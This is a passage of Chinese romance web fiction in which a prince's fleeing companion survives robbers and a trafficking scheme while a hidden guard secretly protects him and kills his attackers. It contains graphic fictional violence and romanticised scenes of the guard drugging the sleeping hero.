方闻钟找了家客栈住下,在跟店家要热水时,他提了一嘴,麻烦帮他找点治外伤的药粉,天黑了不好外出找,只好找客栈掌柜帮帮忙,方闻钟从包袱里给他一块银子。 银子其实给的多了,方闻钟没注意到自己有点大方。 他收拾好包袱,自己先上楼去沐浴。 热水换了三四遍,才把自己洗干净,方闻钟顾不上在店小二面前不好意思了,看到送上来的药粉,他把刚包好的腿又扯开,前面洗澡时,方闻钟如同在忍受酷刑一般。 水沾在伤口上,方闻钟疼得龇牙咧嘴,额头直冒冷汗,他不想哭,不想叫出来,嘴巴里狠狠咬了条布巾,长痛不如短痛! 他把血泥、腐肉,一点点全洗干净,旁边扔下去的刀上,正是他用来割腐肉的血迹和碎块,他抽搐着,全身又白又湿,宛若被汗洗透了,又宛若被抽走了所有力气和活力。 药粉再一一撒上去,方闻钟重新包好。 他缓了好长时间,才收拾好地面的东西,喝了碗热汤,将就着睡下了。 重新躺在干硬的床板上,他一点也不嫌弃,还可爱地蹭了蹭枕头,在床上睡觉真舒服,方闻钟慢慢想着接下来的路,不能再这么逞强了,要是再受伤耽误事,不值当,他打算接下来稍微慢点,正好远离皇城了,不用那么紧张。 睡着的方闻钟咂摸着嘴,还有一件事让他挺遗憾,临出宫前,他给暗卫留了封信。 他没机会见到他,只好私下里偷偷告诉他,接下来,他不在这里了,别的也没说,让暗卫不用担心,不用再冒险保护自己了。 而此时的暗卫,就在他的房顶上,躺着看月亮,顺便看看下面的方闻钟。 一个皇子长时间地逃出宫,还不让人发现,必要做很多准备,萧疏准备的‘替身’终于派上用场了,把宫里安排妥当,萧疏是昨夜才出发赶路的,他没想到,方闻钟能跑这么快。 一刻没停地赶过来,才在这里找到他。 方闻钟洗澡时,萧疏全看在眼里,包括他的伤。 萧疏拿着剑的手,死命握住剑鞘,他一动不动地在房顶上看下面的人咬着东西,脸上全是冷汗和扭曲的表情,药粉是萧疏替换过的,上好的金疮药,能让他快点好,少受点罪。 以暗卫的身份重新出现在他身边,萧疏想了很久,是直接出现,陪他走这一趟,让他少受点罪,还是放他自己去办,他在背后守护着就行。 最终 ,他选择了后者。 方闻钟在‘暗卫’面前,可能是需要被保护的,但现在,他接下的是‘二皇子’的任务,他在二殿下面前,从不奢求被保护,他也不希望在殿下面前是无用懦弱的样子。 这是他的选择,是他未来的勋章,萧疏便让他去闯。 楼下有人鬼鬼祟祟接近,方闻钟留下的隐患还是来了。 在给掌柜的送银子的时候,方闻钟没注意到,那边座上还有几个不怀好意的莽夫,偷偷打量他的包袱和装扮。 包袱不大,但银子肯定不少,这小公子出手是真大方。 方闻钟已经很狼狈了,还被认为是小公子,全凭一双经历太浅的眼睛,眼神里没有一点害人或防备人的心思,虽然他要外伤药,但看起来不像会功夫的样子,那就只可能是自己受伤了,且没多大自保能力,这样的对象,不正好方便他们下手抢劫吗。 三个人商量好,一个人去偷他的马。 两个人上去杀了人,抢东西,深夜安静,掌柜和小二即使发现了什么,也不可能出声提醒,这种时候,遇到坏人了,只能自认倒霉,若是提醒,这些地皮流氓,个个见过血,之后还不拿客栈出气? 方闻钟完全没意识到的时候,房门被轻轻推开。 两人一个弓着腰朝四周打量,一个一上来就靠近床,想捂住方闻钟的口鼻,不让他出声,放风的那个朝四周看了眼,恰好站在门口守着,另一个已经摸到床边,下一瞬! 一双粗硬的大手!一下狠狠压住方闻钟大半张脸!方闻钟再睡得踏实,这一下也立马惊醒了! 他顿时想翻身而起,然而来人力气太大,他被死死捂住,门口的那个也想上来帮忙,方闻钟眼睁睁看着他们一手慌乱地掏包袱把银子抖落出来,一手从怀里摸出来一把短刀,狞笑着朝方闻钟靠近。 方闻钟害怕恐惧什么的都抛到脑后了,第一反应是怎么保命,怎么处理! 他装作弱小可怜,让他们抢,其中一人拿了银子,立马贪心地摸着往自己胸口塞,抬头间,藉着月光,看到方闻钟煞白的脸,这位公子来的时候不显姿色,这会儿倒是看着异常好看,比女人都漂亮,他还想上去摸两把。 方闻钟猛地缩了下脚,手终于抓到了背后的刀。 越货杀人,杀人才是结果,色心刚起,就被同伴教训少生事,他们想立马杀了方闻钟就走。 就在这时!方闻钟急中生智:“我的马上还藏着银子!你们把银子拿走了,可以放了我吗?” 一听马上还有钱,再一想到去偷马的是个贪财的小心眼儿,如果被他拿到了钱,肯定偷偷跑了,不给他们留,三人虽一起的,但没多少信任,各有各的心思。 一人顿时道:“大哥,我去找老三。” “把银子留下。” 老二和老三一起去守马了,房间内终于只剩老大一个人,然老大的刀刚拿起,方闻钟就突然一脚踢在他脆弱处!霎时,人疼得吱哇一声惊叫,跌坐在地上抱着自己。 方闻钟提着刀下来。 老大看到小公子手里也拿着刀,气狠了,杀心肆虐,两人都是。 老大拿刀的手不知怎么突然顿了一下,下一瞬,方闻钟双手高高举着刀,毫不留情一下插入他胸口! 他拔起又插入!连杀了两刀!刀刀致命,鲜血四溅,终于把人弄死了,方闻钟看着躺在地上死不瞑目,脸色已经被血糊过的粗糙男人,他胸口两个大大的血洞,还在汩汩冒血。 方闻钟握着刀,手抖得厉害,离得近才能听清,他一直在嘴里说话。 “心口在这边一点,心口在这边,不要偏了。” “欢欢,不是你死就是我活……” 他在重复那日在马车上萧疏告诉过他的话,很快,他就学会了他教的东西。 方闻钟用袖子抹了一把眼睛,跌坐在地上缓了一会儿,然后很快他换好衣服,幸好包袱里还有一套干净的,他把血衣全扔掉,把小包袱和银子重新拿好,月光洒进来一点,最后看了眼地上的尸体,方闻钟不做停留,立马偷偷跑出去。 他还要看他的马! 手里的刀更紧了些,杀过人之后,方闻钟胆子大了很多。 他藏匿着身影,往后院马厩处靠近,谁料,那里竟有两个人,都胸口插着刀倒在地上,都已经死了。 方闻钟呆住,睁大眼,跑过去近处细细查探分析了一下,猜测是两个人因为银钱猜忌不公互相弄死对方了,两人排排躺,手都抓着对方胸口的刀。 其实马上哪有银子啊,方闻钟就是想先骗走一个人,没想到还有这样惊喜的结果,他顾不上高兴,只当自己今晚撞大运了,三个人都死了,赶紧越过死人,牵上马,连夜就跑。 再不跑,天一亮他就要被抓住送官府了! 客栈房顶,一个黑衣人背着剑飘下来,手里原来捏着两颗石子,一颗留在房内,打在那个男人的手臂上,一颗被他现在扔着,随意弹过去,马厩处两个死人胸口的刀,顿时都碎了。 伪造现场,暗地里帮方闻钟,萧疏也挺忙。 但是看着方闻钟一边杀人一边念叨胡话,他心里突然又很不好受。 夹杂着这点难过的,是突然笑了一下,萧疏笑出声,夸他,“聪明欢欢,真乖。” 方闻钟在马上乘着夜风奔跑,他像不知疲倦似的,赶路能让他很快忘掉他第一次独自杀了人,忘掉腿上的伤引起的疼痛,他在心底里默默计算着自己大概走了多远,还有好久才能到边关。 他一定会完成任务的,殿下在宫里会想他吗? 想到二殿下,方闻钟才会脆弱一分,但很快,眼泪立马被迎风吹干。 萧疏踩过一颗颗树梢,数次想让他停下来,先休息,但终究是没露面,什么话都没说。 跑到马儿都不想走了,擅自到一处小河边喝水,方闻钟怎么牵马绳马都不回头,他也只好停下,下马的动作极其僵硬,方闻钟身体像被重新唤醒一样,哪哪都疼。 他咬着牙从马上跌落下来,不用看,都知道腿上又被血染过了。 此时已到晌午,方闻钟在草地上坐着翻包袱,幸好,昨晚把剩下的药也装上了,这里不方便再洗漱,他只好随便把药粉撒上,重新用衣服包起来。 马悠闲地吃着草喝着水,方闻钟嘴里咬了一口干粮,靠着一颗大树,暖烘烘的阳光洒下来,他什么时候睡着的都不知道。 萧疏走近,试了试他的鼻息,为了万无一失,特意给他灌了些混合著迷药的内服治伤药,水顺着方闻钟的嘴唇咽下去,他用手指蹭了蹭他的嘴巴,把水壶收起来。 萧疏弯腰,抱起方闻钟。 方闻钟彻彻底底地睡过去了,他一下跃上马,马不得不往山上跑,缰绳被拉得很紧,马儿再倔,还是得听话。 跑了不远的距离,萧疏下来,抱着人,找到了一处半山腰的干净山洞。 萧疏发现了,方闻钟很少走官道,他也是好本事,这种野外的路也能被他找到,还真是最近的距离,他识路的本事不错。 但苦就苦在,萧疏想让他好好休息一下,都没有好的条件。 山洞被又打扫了一遍,萧疏把人放到自己的衣服上,让他乖乖睡着,可方闻钟显然不踏实,一个人睡时,侧着身蜷缩起来,虽然昏迷,但嘴巴一直在微微颤动。 不知道又在念叨,偷偷说什么。 萧疏看了半晌,过去把人揽在怀里,这下,方闻钟躺在他怀里,大半边压在他身上,几乎是遇到温暖的下一瞬,他的手就不自觉抱住萧疏的腰,然后越离越近。 他终于找到了舒服的姿势和地方,身体舒展开来,紧蹙的眉头都一点点散开。 方闻钟抱着萧疏睡得开心,他在极速缓过来,就这样萧疏整整抱了两个时辰,然后他起身,本想自己去弄点吃的,想了想,还是回身把人重新抱起。 就当随身带着个小挂件,杀了鱼,烤了火,萧疏喂人吃东西。 方闻钟没醒来,但不妨碍他吃好吃的香香的烤鱼,当做梦一样,看得萧疏脸上满是宠溺的笑容。 吃饱睡足,萧疏又抱着他,重新牵起马,把他送到了一开始他睡过去的地方。 放在树下,方闻钟靠着,他应该快醒过来了,萧疏用手指擦了一下他的脸,都弄干净了,他弯腰,轻轻亲了一下嘴巴。 “我一直在。”- 这一觉睡得真舒服,方闻钟醒过来,惊了一下,很快四周看看,没有异常,马也在附近,他记得临睡前自己手里拿着一块干粮,这会儿干粮没了,他好像也不饿了。 方闻钟摸了摸肚子,确定,他吃饱了。 原来自己睡过去了还不忘记吃干粮吗,方闻钟翻起身,莫名其妙有一点小开心,觉得自己真厉害,还省时间。 就是怎么感觉嘴巴里有淡淡的烤鱼味,他摸着自己的嘴巴,做美梦的感觉这么真实吗? 隐约记得自己睡过去了,还梦到了殿下。 方闻钟偷偷笑着,低头收拾准备继续走,再站起来,他感觉自己又恢复了力量! 腿也不那么疼了,昨夜虽然遇到了坏人,但掌柜的给的药还是不错的,他没白花银子,方闻钟决定忘掉不好的事,重新坚强起来,未来还有好长的路和事呢! 方闻钟骑上马,继续往下一个目的地跑去,原本没感觉,现在突然觉得他身上的一股熟悉的味道渐渐全散去了,他抽抽鼻子,怀疑是不是自己的错觉。 那是殿下的味道。 是他太想念他了吗? 前方是一座城池,如果要绕过去的话,得多走好多的路,方闻钟想了想,下了马。 入城的时候不能再骑马走了,有点显眼,他考虑了半晌,最终在城外买了一个小书僮,还买了一辆破破旧旧的马车,车上放着最简陋的东西,和书籍笔墨,他把自己伪装成了个读书的穷苦小子,穿过城池去念书。 这样不会引起外人注意多想,正好也方便他休息一下。 顺利经过盘查进了城,方闻钟穿着一身洗得发旧的白衣,终于能安稳落榻客栈,在客栈好好睡上一觉。 买的书僮是个老实的哑巴,方闻钟不会苛责他,但也不会让人离他太近。 第二日一早,本想按原计画赶路,却听到城中有个消息,有个姓温的大夫,很厉害,最近治好了一个富绅家儿子摔断的腿,方闻钟突然就想到了被二皇子惦记的他师兄,温行。 不会这么巧吧? 方闻钟决定再观察一下,等了一天,没见到他师兄,也没听到温行的具体消息,方闻钟在灯下偷偷给二皇子写信,他本想让萧疏自己来找师兄,师兄真的厉害的话,是不是有可能治好他的腿呢? 不对,二皇子曾惦记过要师兄把自己的腿给他换过去,方闻钟咬着笔,皱眉。 不行,他好坏,他真的能做出来的。 那不是把师兄推向火坑吗,他又不在宫中,要是被萧疏抓回去了,他都没法给师兄求情。 方闻钟把写好的信揉成一团,最终决定不告诉他这件事了,想了半晌。 又展开一张纸,他可以写点别的,就是不知道这封信何时能送到殿下手里啊。 方闻钟心里有好多话要说,但千言万语,落在笔下好像都不合适,最后他简洁又郑重地写道:“一切都好,我已经到了固城。” 让书僮把信送到这里的驿站去,自然会有人交给二殿下,不过可能要好久之后了,方闻钟自觉完成了一件大事,继续像个读书人一样,背着手,精神焕发准备不找师兄了,先上路! 窗外,他刚交出去的信,转眼间就在萧疏手里。 不用展开看,他都知道写了什么。 但萧疏还是展开看了眼笑了笑,他可是没错过,方闻钟写第一封信时,嘀咕道:他坏,害怕师兄落入他的魔爪,所以不告诉他温行的下落了。 “小没良心的。” 第68章 欢欢委屈,萧疏杀人。 哑巴书僮架着马车,方闻钟在车内拿着一本书装模作样,没一会儿,昏昏欲睡,连一页都没看完,那些字花花乱乱地在他脑子里分解,像一个个可爱的小枝条,他还是那么不爱读书,不爱学习。 马车突然顿了一下,不走了,哑巴不会说话,方闻钟于是出来看什么情况。 原来他们不小心撞到了一个走路的男子,男子捂着身子痛苦地差点倒在地上,方闻钟以为他们把他撞坏了,赶紧下去扶住他,又是道歉又是关心。 哑巴焦急地在旁边比划,他没有撞到人,是这个人忽然停在这里,肚子疼。 方闻钟看不懂他的意思,但他扶着人的手,却慢慢僵住了。 方闻钟像一个木偶似的,突然不会动了,连眼神都发直,呆呆的。 直到被他扶住的那个男子直起身,妖冶地笑了一下,方闻钟好像才被他身上浓郁的香气熏醒过来了似的。 他立马甩开男子的手,像甩开一个可怕的东西! 刚才,他的手恰好搭在男子手腕的脉上。 是他学艺不精,还是他出现了幻觉?那……那怎么是喜脉? 方闻钟的眼神从男子手腕滑到他肚子上,然后慢慢从头到脚打量他,男子捂着嘴发笑,刚才一阵疼痛过去,他立马缓过来了,这会儿不免调笑这位小公子,“离奴家这么近作甚?” 方闻钟被他诡异的表情和用词吓得原地退了好几步,然后盯着他的脸,是男人没错。 他,他怎么会怀孕? 方闻钟艰难地咽了一口口水,脑子里像被重锤又是敲又是掀开,莫非……他也是双性人? 双性人会生孩子吗? 方闻钟在原地摇摇摆摆,站不稳了。 “哎,是你们撞到了我,你怎么还要倒了?”男子说着想过来扶方闻钟。 方闻钟一把抓住他的胳膊,又好好探了一次脉,死心了,是男人,也的确怀了孕。 他嘴巴还是不饶人地说:“我们明明没有撞到你。”刚才他肚子疼,恐怕是因为别的原因。 “没撞到就没撞到嘛,你们可以稍送我一程吗?我就在前面马府那家。” 方闻钟恍恍惚惚地让人上了马车。 暗地里跟着他的萧疏微微蹙眉,这不像是方闻钟的作风,他遇到了什么,为什么突然好心拐过去送人? 方闻钟在车上听那男子自言自语,他偷偷地摸了一下自己的脉象。 还好,还好,他没事。 他大大地松了一口气,被陌生男子注意到了,男子也看到了他摸自己手腕的动作,当下没问。 方闻钟紧紧闭上眼,转过去头对着马车角落,他和二皇子经常做那事,如果,如果他也可能有身子的话,方闻钟一阵眼热又委屈,二皇子不会把他当个怪物一样烧了吧。 方闻钟在轻轻颤抖,外面的萧疏压根不知道他遇到了什么。 马府很快就到了,方闻钟拗不过男子再三邀请,说是进府送点东西,想感谢他们。 男子又捂着自己的肚子作痛了,方闻钟无法,一时好心让他跟上,想跟他试探说说他的情况,貌似男子并不知道自己有孕。 巧的是,马府正是之前温行,即他师兄帮忙治伤的那家富商,方闻钟还见到了治好腿的马公子。 但可惜,听到温行昨天就匆匆离开了,没做停留,方闻钟有些失落。 男子衣饰妖异,仿女子之态,边引方闻钟他们往前走,边向旁边的老管家使了个不怀好意的眼色,方闻钟心在别的地方,偶尔打量一下府内,没注意到他们的举动。 留在这里给他们拿点报酬,吃饭留宿啥的方闻钟好多歹说都拒绝了,他没那么多时间。 管家接收到眼神,再看看方闻钟一身粗陋的衣服下,姣好的神态和颜色,心下明了,去见马公子。 原来,近日县令盯上了马公子的“小妾”,即那个双性男子,觉得好玩便想夺来,马公子愿不愿意且不说,男子是不太乐意的,忽而今天街上看到方闻钟。 方闻钟的外貌可比他出色多了,虽然不似女子,但床榻之间玩玩吗,想必县令也不介意这么个面若冠玉唇若涂朱的小公子。 那边算计着什么,这边男子陪方闻钟说话。 讲了半天,方闻钟终于犹豫着提醒道:“你有没有觉得你的身子,有点异样?” 男子本来风趣幽默,这下一下眯起眼睛,好半天盯着方闻钟不动,方闻钟被他看愣了,连摆摆手说:“我没有恶意,我,”他干脆挑明了,“你有了身孕,不能再吃这些茶汤。” 男子手中的茶盏咚一下重重地落在地上。 “你说什么!” 他终于惊讶地站起来,恨不得抓住方闻钟问个清楚! 方闻钟刚提起他身体有异样,他还以为这个小公子发现了他是双性人,和普通男子大不相同,没想到他不仅知道这个,且不好奇,还发现他怀孕了! 男子一时呆滞地手放在自己的肚上,这点也大大出乎了他的意料。 很快,他更压下眼神,盯着方闻钟,他为什么不奇怪? 骤然想起在马车上,方闻钟刚开始呆住,后来偷偷摸自己手腕的动作,“你也是双性人?”他惊讶地大叫道。 方闻钟一下被戳破,脸白了一瞬,很快,他镇定下来,声音沉稳,“不是,我之前见过你这样的,所以才不觉异常。” “那你怎么给自己把脉?” 方闻钟喉咙滑动了一下,“我以为自己探错了,再摸摸我的和你一作比较。” 男子不说话了,怀有身孕这点让他有些无措,方闻钟看得难受,他不免感同身受,又秉持着自己发现了便好好告诫他几句的半吊子医者心态,跟男子细细说了怀孕要注意什么。 吃食上,外出行走都要小心,还有,还有床榻之间也不可动作,不然会对自己的生命有大大威胁。 方闻钟并不知道双性人怀孕会怎样,能生下来吗?他越说,越担心。 可有些人,就是不值得同情和担忧。 方闻钟这边操心着,那男子却突然怪异地道:“是吗?”你真的不是双性人? 他眼神里波光流转,想把方闻钟转送给县令的想法更沉淀了些。 刚刚好替他,他摸着自己的身子,有孕又如何,他服侍好马公子就成。 男子进屋时,管家正和马公子说话,马公子说:“那是个读书人,万一有其他背景,或功课比较好,考上了功名,此时得罪他不划算。” 这话有点道理,但刚进来的男子急切道:“他也是双性人!” “真的?”连马公子都惊讶地站起来,管家亦是如此。 马公子嘴角带笑,都想自己再得来好好享受一番了,但想到县令,还是松了这个想法。 真是叫人惊喜和意外,男子虽不能保证,但人送去县令那里了,再说结果如何如何……管家道:“不如我先去试探一番,看那公子书读到几何?家境背景如何?” “好。” 下面交谈结束,上面萧疏抱着剑,抬头稳坐,他一条长腿肆意地踩在明瓦上,忽然低笑了一声,不算开心,嘲讽居多。 他貌似明白了方闻钟为何会改变路线,多此一举地来马府一趟。 他此时甚至不知道自己落入了圈套和坏人窝中。 他有点天真,还爱发好心,萧疏想着人,尽管如此,得知这件事的前因后果,萧疏也不会生出一点责怪他,或以后教育他的想法,他可能无法完全理解方闻钟,但他能为他兜底就行。 萧疏一下踮起脚尖,刹那间,已经飞到远处另一颗枝头,再一个起跳,人消失了。 方闻钟在屋里等着,很快管家给他拿来一包袱金银财宝,还有行李吃食,方闻钟惊讶极了,摆手不要还被强塞进怀里。 “公子接下来要去哪里?” 方闻钟说了个顺路但不引人多想的地方。 管家惊诧道:“那里走水路岂不是更方便?” 方闻钟不知道,“真的吗?会快多少?” 管家说:“你要去那里,从水路走,约莫会快一日。” 方闻钟在心里思考着,如果以后换水路,他脑子里有别人看不到的地图,眼神呆呆的想了一会儿,忽然惊喜,真的,他可以走水路!绕另一条路去边关,但能快个两三日! 不过还要考虑怎么搭乘船只的问题。 管家适时为他解难,“申时我们便有一辆船只,公子不妨一起?” 瞌睡就有人送枕头,方闻钟难掩喜色地答应了,因为管家说为了感激他,把他们夫人送回来。 听到夫人二字,方闻钟愣了一下,随即不好意思地蹙了蹙鼻头,还为那男子开心,他在这府里受看重就好,不然他都怕,一个不小心,直接一尸两命,死了。 管家最后出门前,好像突然想起什么,问起他一些学问上的事,方闻钟紧张,随意胡扯了两句。 管家藉着自己亲人在读书,越发和方闻钟有交谈兴趣,方闻钟刚开始还能应和上,答上管家的几个问题,后来,管家说的书方闻钟压根没看过,就开始胡扯。 他在管家佯装不懂的恭维笑容下,一点点自信起来,嘴里乱七八糟,把他所有的学问搜肠刮肚都说出来了,方闻钟背着手,挺着身子,眼神越来越得意。 管家心里有数了,什么读书人,就是个纨袴小公子。 瞧那穿的穷酸样儿,还是个穷鬼“纨袴”。 心下嗤笑,辞别方闻钟,待会儿上船,彻底放心了,把他推给县令,没问题!县令还会大大加赏他们。 方闻钟长长叹了一口气,管家走了,他耷拉下来肩膀,为什么突然考校学问啊,吓他一跳。 还好他成功糊弄过去了。 方闻钟这样想着,越想,越为自己刚才的表现满意,他还挺厉害的嘛。 一点没意识到自己露的底裤都不剩,被人瞧扁了。 目睹了这个过程的萧疏,忍不住双臂抱着刀在胸前嗤嗤发笑,“笨蛋欢欢,”看来以后要督促他好好看书了,萧疏身边可不养文盲。 一起跟上船,他倒要看看这个船上的牛鬼蛇神还有哪些,以及,方闻钟该如何迅速脱身。 下午时分,方闻钟和哑巴告别,一个人上了船,船身比他想像的要大和豪华。 管家说,这只船上还有贵人,所以他们才能搭马公子的便。 被安排好后,方闻钟没怀疑,仔细琢磨着接下来的路途。 当船身晃起来时,窗外的风一点点进来,还有河流的味道,方闻钟定了一会儿,忽然趴到窗户边,仔细看外边的景色,以及风向和味道。 按理说,他们去往那个目的地,应该是一直往西走,但船只刚开始往西,后来明显又往东南方向走,这才叫方闻钟察觉到吹过来的风不对,风里还夹杂着一点点他们最开始离开的小码头的味道。 船只速度变得缓慢,方闻钟警醒了些,拿着最重要的东西,袖筒里偷偷藏好刀,一点点打开门,往外走。 令他诧异的是,船上不止他,还有其他好几位男子。 方闻钟见了几个,只觉他们都怪好看,但莫名其妙看著有点别扭,看向他的眼神也充满着他瞧不懂的意思。 拦住一个下人,他急问道:“马公子呢?” “公子在陪大人。” 大人?方闻钟手松开,应该是父母官,方闻钟自己就是知府儿子,这样的场景没少见,但他越来越觉得这不像是一场普通拜见,倒像是……倒像是单独开辟出来的欢乐场所。 方闻钟看着外面整体船身,以及船上各种物品和人的细节。 此时,船已经几乎不行走了,就停在水面上。 方闻钟的脸颊已经绷起来,意识到此前自己把乘船想得太简单了些。 想到这里,他立马打晕了个下人,换上下人的衣服,下人晕倒趴在地面上,方闻钟一边连说对不住,一边把他脚拖起来找个地方藏好,再出来时,小公子变成了个眼神滴溜溜转的不起眼的下人。 他低着头,跟着众人走,因为这身衣服,船上的一些人说话不避着他,他仔细听了半晌,这才明白! 今天船上的有县令和县丞,而这些美男子,全是县令要来陪他的! 貌似在城内并不罕见,大家都知道县令好这口,方闻钟还没见到人,就预感到恶心,再想起在马府,他被马公子、管家、以及那个怀孕的男子,三番五次“帮助”,让他一起上这艘船的样子,他们的目的显而易见,方闻钟揪着手指,表情顿时变了,心里呕得要死! 为什么又遇到骗他的坏人! 他明明是为他好。 同是双性人,那男子为何要这样做? 双性人?方闻钟恍然大悟,是不是他早猜到了自己也有问题,才特意更殷勤地把自己往这艘船上送! 他们是要把他待会儿呈给县令。 方闻钟想明白了这些,一边生气,一边紧急思考,他必须要赶紧逃出去。 绕了一圈,他把目光放在一个房间,看到怀孕男子在那里面,方闻钟给另一个下人传话,“县令叫他过去,”下人再这样跟怀孕男子说道。 男子轻皱了一下脸,没怀疑便出去了。 方闻钟立马进去藏好! 他在窗户上看了半天,忽闻外面进来一个人!吓得赶紧钻起来,来人是马公子。 马公子进来看到美人不在,正疑惑着,忽然从下面钻出一个人来,一手拉住他的脚把他扯翻!再见到人时,就看到方闻钟压在他上面,用刀紧紧贴着他脖子凶狠道:“不许出声!” 方闻钟捂住马公子的嘴,马公子顿时害怕地抖起来,富家公子,没经历过这个,方闻钟此时可和他早上不谙人事的样子大不相同,马公子不怀疑,他不答应,会被一刀戳死。 方闻钟左右看看,他知道马公子的哪条腿有问题,刚才才冒险拉他!他果然一下站不住就倒了! 方闻钟举起刀,咚咚两下,就朝马公子的太阳xue砸去!现在方闻钟顾不上伤不伤人,把人砸得摇摇晃晃晕过去,他才松开捂嘴的手,眼睛闭上,马公子都没叫出一声,只是腿在下面蹬了几下! 方闻钟赶紧站起来,又拿起一个大花瓶,咚得一下,彻底把马公子砸晕过去,头上冒出丝丝血,开始往地上流…… 做完这些,方闻钟立马就想跑,他已经看好了位置,从这个窗户跳下去,尽可能少惊动人,然后一直往左边游,如果他没估算错误,他游一个时辰后,就能上岸了! 艰难地正要掰开窗户,外面人声越来越大,他不止听到了怀孕男子的声音,还听到了一个油腻腻的中年人的声音,想必那就是县令! 他们被引着往这边过来了!方闻钟霎时举起刀,一刀一刀朝窗户砍去,连续三下后,他的手臂被震得发疼!窗户终于被他弄开。 灵活的身影一下钻出去!他没做犹豫,噗通!整个人刹那间跳入水里。 再被发现时,方闻钟已经游得离开船只好远,怀孕男子大叫着指着水里,“他在那里!” 他们在找他,被看到了,方闻钟没有回头,而船上的县令,大腹便便,敞着胸膛散着发,边螃蟹似地在船上跑起来,看水里远处的身影,边小丑似地拍自己大腿,“哎呀,我的娘子……” “放箭。” 一波波箭雨,方闻钟直到一只箭差点射中他脑袋,他才反应过来后面在干什么,顿时眼睛睁大,抽空回头看了一眼,他像个凶残又机警的小兔子,眼睛红红地看着船上的熟人越来越小,然后一个猛子干脆扎水里,让他们彻底看不到他。 方闻钟奋力游着,船上的人不得法,终是叫他逃走了。 再回到船里,看到受伤的马公子,马公子晕得不轻,但更疼的地方是腿,硬生生把他疼醒过来了。 方闻钟此前还想,师兄为这种人治腿,其实他不知道,温行比他聪明多了,一见马公子不是好人,还不好惹,明面上治好了腿,转头就跑,还拿了丰厚的证金。 但马公子只要再轻易伤一次,他的腿就彻底废了,温行也没想到,他治好的伤,很快便被他的小师弟一把扯开。 浑浑噩噩,四肢麻木,方闻钟全凭着一股气,竭力向一个方向游,他感觉自己的身体很冷,又觉得很热,眼睛都快睁不开了,还是一下一下,从水里冒出头来。 再游到岸上时,天已经快黑了。 他浑身发著抖,火摺子半天燃不起来,方闻钟缩成一团,呼呼吹着,火星在他坚持不懈的努力下,终于冒出火光。 燃起火,把衣服烤干,方闻钟一边检查着自己带的东西,信封、金牌、银票碟引都在,他保存得很好,没有沾水。 但可惜的是没有食物了,跳窗的时候根本来不及拿,就算带了干粮,水里泡一个时辰也不能吃了。 方闻钟穿着单薄的里衣,头发全散开来,他跑去河边,拿着木叉开始叉鱼,废了好大功夫,弄上来一条小鱼,他不贪心,想当初这手抓鱼的功夫,还是在宫里给二皇子弄鱼学来的。 想到了曾经美好的场面,方闻钟紧绷了大半天的身心才一点点放松下来,他今天逃出来了。 没有受伤,没有被人怀疑,虽然双性人这件事好像暴露了,但没关系,反正以后又不可能见到。 他挑着没鱼刺的地方认真吃,吃完临睡觉前,想:他刚在那边草丛里看到一只废旧的船只。 应该是丢弃的渔船,明天修修还能用。 既然已经走水路了,方闻钟确信这条路会快点,干脆接着这样走,明天他就整只船,自己一个人划。 那些坏人,方闻钟的确见不到了。 方闻钟上岸后好像情绪恢复的很快,但在水里,他无数次后悔自责,在他快坚持游不动的时候,全凭那股力道撑着。 他恨自己,为什么戒心那么低,那么容易就被人哄上船。 还非要仗着自己懂一点皮毛的医术,想救别人。 方闻钟的眼泪全流在了水里,他在心里自言自语,再也不管别人了,哪怕对方是双性人,怀孕了也不管! 现在他这样都是活该! 方闻钟都想停下来扇自己两巴掌,还是实在没力气了才只言语谴责自己,心里自己难受。 曾经豪华的大船上,此时一个人站在船端,他一手拄着剑,那把古朴的剑插在地面上,宛若形象的死神,另一手展开信件查看,衣袂飘飘。 黑衣人转过身,后面跪着一大片…… 仔细瞧瞧,没一个主事的人。 因为都死完了,鲜血祭奠了那把剑。 萧疏在给京城传信,这里死了县令县丞,让那边看着处理。 杀人时,萧疏没有丝毫犹豫,马公子的人头落地后,最后剩下吓傻的怀孕男子。 他一开始躲在旁边尿液直流,后来爬过来想抓住萧疏的腿哭诉求饶,他见萧疏没杀船上的那些美男子,就以为自己也会躲过去,他以为萧疏是寻仇的侠义之士,才只杀了县令和马公子等人。 萧疏没有踢开他,让他靠近扒着自己的腿。 手指一下从脖子里捏上去把人半提起来,怀孕男子还没反应过来,就听萧疏说:“他会关心担心你,可你却只想弄脏弄死他,”萧疏侧了一下头,再回来时,露出一个阴郁至极的笑容,“我却没那么容易放过你。” 他的心疼,留给委屈可怜的方闻钟都不够,何谈施舍给别人一分。 怀孕男子还在惊惧这是什么人!他在说什么!是和那个小公子有关吗? 下一息,多余的话和感想再也说不出来,咯嘣一声,他被直接拧断了脖子。 扔开尸体,萧疏看了看死人的肚子,冷漠无情。 离开大船后,萧疏迅速去找方闻钟,方闻钟不知道,那些害他的人,那些阴毒和算计,立马成为了过去,那些人只多活了半刻钟。 萧疏见到了睡在火堆旁的人,蜷缩着,盖着一片大树叶子,心里的难受全表现在脸上,他黑沉沉的,皱着眉,点了方闻钟的xue道,方闻钟很快舒展开后进入熟睡。 自己的衣服全给他盖上,萧疏面无表情地朝火堆添柴,火舌燎起,映亮他漠然的神色下温柔的眼,他还是会觉得方闻钟可爱,坚强。 哪怕在他差点出差错害了自己时。 他依旧聪明。 萧疏心里这点从未改变过。 他的善良也不会让他讨厌,当火烧得足够暖时,萧疏站起身,抱起方闻钟,稍微离远了些。 他就那么熟练地抱着人,天快亮时,他会先他一步把那破船修到一半。 他约莫知道了方闻钟接下来的路径和打算。 船虽然小,但偶尔藏藏还是能容纳下他们两个人。 萧疏沉思着,再低头,忽然发现方闻钟摸着自己的手腕,嘴巴动动。 他低头,耳朵贴近他。 似乎听到方闻钟在说:“没有,没有,没有二殿下的孩子。” 萧疏:“……” 他们已经好久没做过了,方闻钟还在梦里惦记,萧疏死鱼眼瞪他,“你是和我神交了吗还在怕自己怀孕?” 第69章 乞丐欢欢终抵边关。 咚咚咚,方闻钟使劲用石头敲着木头,昨晚太累了,只看了一眼破船,大体上能用,他还以为今早自己得费好大功夫才能让它重新下水呢。 他剥了树皮,制成了绳子,还捡了两块动物的皮毛,打算待会儿补在漏水的地方,连一些破布都被他捡来了,万一有用呢,比如绷在小乌篷上。 那两块皮毛成色非常好,方闻钟捡时很不自信,左右看看,不会是谁不小心落在这里了吧,但实在荒无人烟,他就当自己撞大运了捡回来了。 他宛若一个小野人似的,弄来一堆破烂,方闻钟准备大干一场。 结果到船跟前,才发现船基本是好的,就是看着旧了点,满是污迹和风霜,绕着走了一圈,方闻钟最终用上了绳子和木头,把船修得更结实了点。 儿时调皮还是有好处的,方闻钟笑着抬起袖子擦了一下脸,比如,他就会修船,会游水,还擅长划船。 